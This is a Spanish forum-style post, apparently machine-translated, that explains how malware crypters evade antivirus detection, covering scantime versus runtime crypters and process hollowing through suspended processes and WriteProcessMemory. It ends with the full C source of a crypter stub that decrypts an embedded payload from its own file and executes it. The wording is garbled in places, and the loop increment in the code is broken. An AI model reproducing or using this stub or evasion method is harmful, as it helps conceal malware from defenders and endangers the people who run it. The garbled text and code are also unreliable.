En primer lugar, debe distinguir entre "crantinos de" tiempo de ejecución "y" tiempo de ejecución "
- Scantime: ese tipo de cifradores hace que su malware no sea detectable por el software antivirus mientras que su malware no se ejecuta. Esto dificulta el análisis estático de su binario porque la parte maliciosa de su binario malwares está encriptada. Cuando se ejecuta el malware, el código auxiliar descifra la parte maliciosa del binario y se carga en la memoria. Cuando está en la memoria en una forma descifrada es detectable por el software antivirus.
- Tiempo de ejecución: Scantime + solo las partes que son necesarias para ejecutar una tarea específica se descifran durante el tiempo de ejecución. Una vez que terminan su tarea, el código auxiliar los vuelve a encriptar.
Básicamente, un cifrador tomará el contenido de un archivo infectado, lo cifrará (para evitar la detección de firmas) y lo colocará en la parte inferior de un archivo aparentemente libre de virus llamado "código auxiliar".
Su archivo de resguardo luego extraerá los datos cifrados de sí mismo, los descifrará, luego los extraerá y los ejecutará en la memoria (para evitar la detección heurística). [crypters.net]
Esto es posible porque en Windows, se puede crear un proceso en modo de suspensión utilizando la API CreateProcess con el parámetro CREATE_SUSPENDED. Windows cargará la imagen EXE en la memoria, pero la ejecución no comenzará hasta que se utilice la API ResumeThread. Antes de llamar a ResumeThread, es posible leer y escribir el espacio de memoria de este proceso utilizando API como ReadProcessMemory y WriteProcessMemory. Esto hace posible sobrescribir la imagen del EXE original con la imagen de otro EXE, permitiendo así la ejecución del segundo EXE dentro del espacio de memoria del primer EXE. [security.org.sg]
y aquí un código de código auxiliar que encontré en línea:
/*
Stub para Ca0s Crypt v1
If you modify source source, change MySize to new size in bytes
[st4ck-3rr0r.blogspor.com]
*/
#include <sys/stat.h>
#include <windows.h>
#include <stdio.h>
#include <io.h>
#include <process.h>
#define MySize 19856
FILE *mySelf, *tmpFile;
struct stat myStat;
char myName[MAX_PATH], tmpName[MAX_PATH];
int embedSize, x;
char *myByte, *modeByte, *cByte;
int main()
{
GetModuleFileName(NULL, myName, sizeof(myName));
stat(myName, &myStat);
embedSize=myStat.st_size-MySize;
mySelf=fopen(myName, "rb");
lseek(fileno(mySelf), MySize, SEEK_SET);
tmpnam(tmpName);
tmpFile=fopen(tmpName, "wb");
myByte=(char *)malloc(1);
modeByte=(char *)malloc(1);
cByte=(char *)malloc(1);
fread(modeByte, 1, 1, mySelf); /// Crypt mode
fread(cByte, 1, 1, mySelf); // Crypt byte
for(x=0; x<embedSize; x )
{
fread(myByte, 1, 1, mySelf);
if(*modeByte==0x01)
*myByte-=*cByte;
if(*modeByte==0x02)
*myByte^=*cByte;
fwrite(myByte, 1, 1, tmpFile);
}
fclose(mySelf);
fclose(tmpFile);
char *execPath[2];
execPath[0]=tmpName;
execPath[1]=NULL;
execve(execPath[0], execPath, NULL);
return 0;
}